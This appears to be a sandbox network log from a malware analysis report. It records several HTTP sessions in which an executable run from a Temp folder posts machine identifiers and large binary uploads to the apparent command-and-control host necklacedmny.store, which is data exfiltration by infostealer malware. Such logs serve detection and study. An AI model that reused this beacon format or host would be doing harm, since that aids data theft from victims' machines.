1a27TX/A1g7IrhcPM5xuqmRc1np3fFcn2FgSoR5z6Fz2GS7Vb8bVgQfgU4pzDWfvIQ3J5m45BHCL0Z+qlXKtjz3ZO92+EMVPmHuHwvReryxlXZG3ejxXp0tR3OsW4X/PtsjoTW5B0U3LrETKcZw+fHSOiePuP1bimJoc/Zey78+yC3gNa5NDWlv9k1uhDf+vIAmYdTu/xakUUpmvUjG80/aZ+9gux1SBB+bTSnMdPuOhDdn2f+8H9p3Jyz6dd

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.7	50026	188.114.96.3	443	3284	C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 11:34:49 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12849 Host: necklacedmny.store
2024-11-01 11:34:49 UTC	12849	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 45 34 36 43 30 43 45 32 33 34 43 41 42 46 43 34 32 33 46 38 34 46 46 31 45 39 42 30 41 43 45 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"BE46C0CE234CABFC423F84FF1E9B0ACE--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-01 11:34:50 UTC	1014	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 11:34:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=1u4la2ru15espfcssnpskgvcfb; expires=Tue, 25-Feb-2025 05:21:28 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=iySoVH163fioooycpuJR6mCnoXyTSRkDOFY0B1lQh2miG%2B7FEYQfSZVmsFyOC%2BFLqF9a4xLoFR9wIApU1yL9UgVsY66OT76eqP5FbYqaguBAeRw2KwO9MhWFDLw27fwm1EqEX7U%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dbb93f0ef582e22-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2133&sent=8&recv=18&lost=0&retrans=0&sent_bytes=2844&recv_bytes=13791&delivery_rate=1340120&cwnd=251&unsent_bytes=0&cid=04a5fe6a9d6354ff&ts=546&x=0"
2024-11-01 11:34:50 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 0d 0a Data Ascii: 11ok 173.254.250.82
2024-11-01 11:34:50 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.7	50028	188.114.96.3	443	3284	C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 11:34:51 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15081 Host: necklacedmny.store
2024-11-01 11:34:51 UTC	15081	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 45 34 36 43 30 43 45 32 33 34 43 41 42 46 43 34 32 33 46 38 34 46 46 31 45 39 42 30 41 43 45 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"BE46C0CE234CABFC423F84FF1E9B0ACE--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-01 11:34:51 UTC	1013	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 11:34:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=oadmduola7gt0dm8rergjp9p52; expires=Tue, 25-Feb-2025 05:21:30 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WmgASllA3sVf0zKE6R8dkPQY89vKzgnPVG6Ys34fZt87w2W8YOP60lyipLJDI4Xk%2BFUCLncTV5Vw6VlpHBuVhuoPdPXBWrvWp7s0dlJmmcldZSyjz7G2UxZyQSYn6MNfgOtdJhU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dbb93f9aebf2e2d-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1230&sent=10&recv=20&lost=0&retrans=0&sent_bytes=2845&recv_bytes=16023&delivery_rate=2581105&cwnd=251&unsent_bytes=0&cid=e362d989e79a3d1d&ts=570&x=0"
2024-11-01 11:34:51 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 0d 0a Data Ascii: 11ok 173.254.250.82
2024-11-01 11:34:51 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.7	50031	188.114.96.3	443	3284	C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 11:34:52 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20406 Host: necklacedmny.store
2024-11-01 11:34:52 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 45 34 36 43 30 43 45 32 33 34 43 41 42 46 43 34 32 33 46 38 34 46 46 31 45 39 42 30 41 43 45 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"BE46C0CE234CABFC423F84FF1E9B0ACE--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-01 11:34:52 UTC	5075	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b6 b9 fe 28 58 da f6 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 36 d7 17 05 4b db 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e6 fa a3 60 69 db 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 db 5c 5f 14 2c 6d fb 69 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 9b eb 8f 82 a5 6d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 73 7d 51 b0 b4 ed a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 6d Data Ascii: (X6K~`iO\_,mi`m?ls}Qm
2024-11-01 11:34:53 UTC	1017	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 11:34:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=68h18iv9u89vrqtc80o7o7vvr2; expires=Tue, 25-Feb-2025 05:21:32 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vgPEwhSM2yyVhLQ2rKdXqKnbTMqwUilX4mk%2FnLj%2BnLhJoShFBuDuzb4BbKd72ICeRw6rzM4kzVT0hs7z8oyxVov8gYrSAwgbzvxZn%2ByiWLYbhijvqacc86OGcSoK35zaiyq2DrU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dbb94033c243172-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1494&sent=12&recv=25&lost=0&retrans=0&sent_bytes=2846&recv_bytes=21370&delivery_rate=1906517&cwnd=238&unsent_bytes=0&cid=53a39c5874fec16c&ts=665&x=0"
2024-11-01 11:34:53 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 0d 0a Data Ascii: 11ok 173.254.250.82
2024-11-01 11:34:53 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.7	50035	188.114.96.3	443	3284	C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 11:34:54 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1230 Host: necklacedmny.store
2024-11-01 11:34:54 UTC	1230	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 45 34 36 43 30 43 45 32 33 34 43 41 42 46 43 34 32 33 46 38 34 46 46 31 45 39 42 30 41 43 45 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"BE46C0CE234CABFC423F84FF1E9B0ACE--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-01 11:34:54 UTC	1012	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 11:34:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=us3fds1b00jeu5ebeqmilvi0l5; expires=Tue, 25-Feb-2025 05:21:33 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RyY6xw8K43SBEcx7WEHVcV4gYLGmuIaQKpGSsYBbRM43OUO8p0AMl9t6vSA7HSpPnT8DA7QwKjRZAIcvOzNec%2FxjL9LhYTbgn8cl1NZFF3gDfY9tV%2Bshw9OGXM5LpckCwlGCnI4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dbb940d7f784665-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1097&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=2149&delivery_rate=2511708&cwnd=251&unsent_bytes=0&cid=54420d0a44779bae&ts=462&x=0"
2024-11-01 11:34:54 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 0d 0a Data Ascii: 11ok 173.254.250.82
2024-11-01 11:34:54 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.7	50037	188.114.96.3	443	3284	C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 11:34:55 UTC	285	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 567251 Host: necklacedmny.store
2024-11-01 11:34:55 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 45 34 36 43 30 43 45 32 33 34 43 41 42 46 43 34 32 33 46 38 34 46 46 31 45 39 42 30 41 43 45 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"BE46C0CE234CABFC423F84FF1E9B0ACE--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-01 11:34:55 UTC	15331	OUT	Data Raw: 40 71 b1 ae a4 3f d0 41 90 b1 34 a2 2f b4 34 f5 ad cd 06 06 5c 2d d8 fa f4 29 ff 3e 34 1c 1b 04 0e 69 30 a6 ba b9 03 19 03 72 52 11 74 8b d1 fc b2 ea 7d 8c a5 a0 80 02 6c 98 32 7b 23 ad 98 e3 bb 4e 93 cc 62 48 6b da b9 4a ed ee 07 06 73 f3 f2 60 fe 77 4d fd df e5 00 90 5d d0 04 55 10 70 c2 a7 cc 19 82 72 0f 24 1d a5 9e 5c d8 49 36 1e 51 dc 98 eb 1c 89 06 d4 8f 42 b4 56 05 ca ae 82 85 f8 b1 4b a0 90 1f 73 1c 09 f7 fd 74 ee 7f 0c d1 bd b1 46 e7 bb c0 f7 26 17 49 0f 80 e5 23 76 35 51 dd f9 b9 13 53 c3 99 92 fd 4e a8 1c a9 85 49 97 a4 d2 c7 cb 3a b3 5f 6d eb c6 93 b6 12 14 2d 0b be 60 ce 68 67 35 fb a9 80 9e 47 d4 e0 b7 2a f5 ca e2 11 6c 0b e7 dd e5 51 ab 96 9d c2 7e 24 e9 64 58 cb 52 89 b2 cb 48 e6 69 24 0e 25 f5 1e 74 45 1a 99 86 f9 c9 67 75 a0 f2 6e 11 2d Data Ascii: @q?A4/4\-)>4i0rRt}l2{#NbHkJs`wM]Upr$\I6QBVKstF&I#v5QSNI:_m-`hg5G*lQ~$dXRHi$%tEgun-
2024-11-01 11:34:55 UTC	15331	OUT	Data Raw: 80 8f 1f d4 82 72 0b fb a2 5e 05 5c 20 07 b8 63 40 c1 66 d8 b6 0e 2f 20 ae a7 6b b2 20 ef dd 9b cc a5 18 cd 46 3f 21 d0 e7 bb 18 04 60 9a 04 d9 be cc c1 5e 1a 6c 5b ff 4f 6b e8 f1 82 57 5c 5e 66 04 e6 f5 57 4b e4 81 ac 09 18 c8 c3 3d ff 7f 5e ca ec 25 ea f9 65 6c d6 ef 8c 75 dc e6 7b 1d 0a 46 22 b8 cb cb d2 c1 de ee bb c3 48 84 2e a3 ed 9b e7 58 36 3b 92 4f 3d ca 93 17 b0 8f 4a d2 54 d6 0f fd e7 9b 56 52 d9 ea f5 2f ae 10 41 b6 9b b0 fa f8 ac e9 b2 37 db 7a 8a 00 68 0f a3 0b a1 34 57 5f 2e 96 6b 35 f7 4a c3 1e 5a e5 98 cc a9 39 d6 5d bc e0 4c 9c 44 26 b1 96 d2 18 75 58 88 18 6f 64 b5 25 1c 8f 94 fc d3 24 2f 5b ed c2 af 2f d3 f2 36 dc 4c 01 15 bc 33 68 43 d6 83 7a 85 5d f8 c8 0d 61 42 cb 56 2b c6 53 04 3e 23 1d 3e f5 03 a6 51 33 5d 4e db a9 c2 94 4c 51 7e Data Ascii: r^\ c@f/ k F?!`^l[OkW\^fWK=^%elu{F"H.X6;O=JTVR/A7zh4W_.k5JZ9]LD&uXod%$/[/6L3hCz]aBV+S>#>Q3]NLQ~
2024-11-01 11:34:55 UTC	15331	OUT	Data Raw: f5 f9 e1 4b 87 9a d2 54 05 cf 78 9a 13 a2 5c c9 fa 8d a1 ce 5e 1c ef 90 74 13 33 24 99 be 51 74 86 e2 23 df 1b 10 d1 29 9c 7d 68 40 0a 8c c5 1a 05 a6 25 c4 bf 21 4e f5 8e 16 f5 ea c8 86 07 da 9e ac f6 a3 0e 12 dd 10 57 fc 13 1f 6c 6e ef 7e d6 36 e7 84 b6 b5 bf 1f 20 08 35 2d 09 97 23 54 c1 58 d1 45 c1 30 57 3a 90 6d de 59 89 0e 1e d5 30 27 66 56 95 6c 24 b6 5b 0e 2b f4 51 75 d5 12 5c cf fd 3c d1 e7 1e 6d c8 61 77 85 ef 19 5a 78 e8 d5 e6 28 7e dd fb cd dc 91 0d d7 c1 df 7f 0d 68 6a 0a d6 9e 4f 07 02 5a aa ca f8 08 5e 1d 4b 76 61 90 63 2c 7a 9a c3 d7 96 fd 69 f8 3e f6 47 4d f3 ab ba a5 ae 9f 5b a6 bc c7 9f f7 24 6a 4b 4c 3b e6 fc d4 f5 f5 7f 26 f0 1a af 5d 62 41 4d 5d 29 fa b5 01 65 f4 94 be 40 59 f5 3d 46 54 22 0d 10 d9 65 6a aa e7 9b 9d be 2d 1f db 87 6a Data Ascii: KTx\^t3$Qt#)}h@%!NWln~6 5-#TXE0W:mY0'fVl$[+Qu\<mawZx(~hjOZ^Kvac,zi>GM[$jKL;&]bAM])e@Y=FT"ej-j
2024-11-01 11:34:55 UTC	15331	OUT	Data Raw: 5b 1c da 09 6c c7 81 77 a4 82 8b c7 da 32 d7 ff 4f b2 31 1f dc d7 6c f9 4d 6c 25 6f e1 f6 a8 74 30 c3 29 96 57 be 1c e0 a8 98 45 c3 ee 10 dd b1 cf d3 0e ad 23 b6 fa 5b 03 8f 73 df 52 cb 48 7b 16 e3 7d 9c 96 fa f0 7b cd 66 ee 4e 46 66 5f 1b 9d 3b ca 4f 9a 9e 29 52 2f 68 de e0 d1 89 c6 a9 2b 55 fb 72 14 42 89 49 a1 d2 3c e3 01 83 51 b2 10 9e fd b0 9f 6a 30 da 42 12 99 8c 52 0e dd d9 25 d6 7b 68 ad 45 3a c4 4a 18 14 17 21 3f b1 b5 25 f7 37 7a 8d 33 5c bf 9e 22 bb 2f ef 6e 57 82 89 b5 e2 f3 ef 89 b5 c6 25 3c ae 8a 38 04 51 0e ea 45 e6 2e 03 c4 22 51 8b 25 02 7e f2 36 ff 14 6a 0c f1 b9 4c 5c 93 e2 62 2a 4d 85 71 03 c1 de 88 bb 8e 4a 75 78 84 29 b0 52 a2 69 8d e4 14 b1 6c 27 9d 9c cb f1 48 d3 22 4e 31 61 d7 11 73 2b b9 f0 58 ac 57 bc d5 21 34 0b a6 88 8a 8e 37 Data Ascii: [lw2O1lMl%ot0)WE#[sRH{}{fNFf_;O)R/h+UrBI<Qj0BR%{hE:J!?%7z3\"/nW%<8QE."Q%~6jL\b*MqJux)Ril'H"N1as+XW!47
2024-11-01 11:34:55 UTC	15331	OUT	Data Raw: 6f e9 0c ff dd ae 94 37 63 81 b6 88 32 0b 15 d1 da 46 17 93 fd 35 8a bd 20 65 9a 5b 2e 2e f5 b6 c7 fe b8 6e 99 c6 e0 da 70 1d 53 85 07 63 39 48 b3 21 3f 24 34 ef d7 ab 7a a4 b1 ab 70 5d 56 76 bc 8d a0 a5 88 cc 3c f8 84 3c 56 69 91 8e 45 d4 eb 64 f6 82 8a 49 11 5e 7a e6 3a 9e 90 60 d6 42 08 f7 06 cc 3b e9 80 34 53 35 76 37 67 45 93 67 09 83 e6 df fe d0 cc 15 b4 21 9c 09 63 ab ce 9b 02 66 26 0c bc f6 d0 44 80 99 74 15 b7 76 8c 2e 01 4e bc 48 24 4c 65 69 30 d5 e7 10 d2 2f 45 1c 50 f0 8a 0d cd 07 54 bd b6 8b e7 a2 ee 3a ac 07 92 52 28 29 2a 24 2c 21 ed 00 97 0e ef 90 58 8a db 15 12 42 f9 71 f6 a3 ff e2 35 b7 fb 21 db 9a 8d d2 16 b6 2a f3 ab 97 2f 3f 15 46 8d 3c 5f f7 a3 f9 0e 18 e6 68 a8 7b c8 4e 38 ec 07 98 fb 15 b5 4f 98 25 32 a4 17 2f 0a cd 7c 12 ed 52 68 Data Ascii: o7c2F5 e[..npSc9H!?$4zp]Vv<<ViEdI^z:`B;4S5v7gEg!cf&Dtv.NH$Lei0/EPT:R()$,!XBq5!/?F<_h{N8O%2/\|Rh
2024-11-01 11:34:55 UTC	15331	OUT	Data Raw: 70 f0 a9 70 cd e8 a3 0d f7 d8 58 10 ed cf d5 d1 be 47 f9 af 49 d8 38 e5 53 9c 48 e9 2a ca 97 bb 7b 99 9f 4e 1e 92 39 ab 72 c1 8b 42 dc 1f e2 15 a7 f2 5b b0 7a dc 88 df f5 fd d5 f7 47 87 1f 28 1e 99 31 88 09 fa f6 32 54 ff ed 5e 1d 71 ef ce 8e af 77 76 62 a3 07 ba 6f 4f bc 80 74 b6 68 75 71 96 bf 2a 11 42 c2 34 fe 5e 7a 25 fd e1 45 76 ff 57 93 1d 6b 75 07 ad 35 05 9f 98 43 a7 86 27 9b 45 9e 8c 76 fe 94 93 e0 13 d6 96 53 70 9b 3f 74 ef ea ee 9c d1 7b 5f 7f ac fd 7d e9 03 a7 bb f2 07 7b 48 db f2 f8 4b 2a 88 71 7b 2e a0 e6 c4 47 48 6c 7a 6b 7a ef 4b 09 14 8a d9 b0 70 60 a9 e8 98 6d 7c cd 68 2f 5d 92 7e 24 c8 8e 58 70 34 79 3e 7f 7d fb 07 e7 f6 7a c6 f1 ab 7e 91 ea ad f5 99 e3 a5 cf 28 fe 20 62 e9 9e db cb d5 db 1e 97 75 76 af 96 b5 ed bf 64 f7 f6 1f 7a ee 95 Data Ascii: ppXGI8SH{N9rB[zG(12T^qwvboOthuqB4^z%EvWku5C'EvSp?t{_}{HK*q{.GHlzkzKp`m\|h/]~$Xp4y>}z~( buvdz
2024-11-01 11:34:55 UTC	15331	OUT	Data Raw: 91 89 be 40 b0 1e 6f c9 92 d7 dd 07 08 8b ae 77 6c 89 ec 9b 8d 1d 09 f7 7d d9 9a cb f3 03 7b 33 67 f6 f8 75 6a 8d 27 fb 91 76 78 08 30 01 88 ad 98 7f 8d d6 b1 a1 46 1e c1 7e 3e f8 81 f9 94 9b bc 83 37 98 0d ef b9 d2 bf bf 29 a2 0a 58 e6 58 1c d6 e7 59 58 9a e7 b6 9f ad dd 59 c4 0f 9d a7 f9 4e cd ec 8d 1a bb f8 c8 69 fc f1 c8 45 ff 6f eb 1e 2b b9 c6 3d eb da bc 7e e3 da 2f cf 9c 3d 40 48 78 98 22 7e 63 72 e4 ec 03 9a 6e f5 62 1b 82 73 cc 03 e4 3c d8 de 18 f7 a2 e7 8e 87 0f 4b 83 b2 58 77 91 b9 b7 dc 82 70 a1 02 1a b9 3d 6f b0 f9 a0 f3 e0 b5 91 83 b3 ef 21 8f 96 51 dd 02 ad 19 4d 7a ab 25 20 b2 d5 40 65 1d 22 6e 3c d7 44 10 a8 62 1f 8e 6e dc ed 31 ce ba 1b 5b 67 6d c8 e9 fd 87 1f 15 b4 63 c7 51 be 85 27 cc da 9a 91 75 13 e3 02 6a fa c2 e4 3f db df 32 49 5e Data Ascii: @owl}{3guj'vx0F~>7)XXYXYNiEo+=~/=@Hx"~crnbs<KXwp=o!QMz% @e"n<Dbn1[gmcQ'uj?2I^
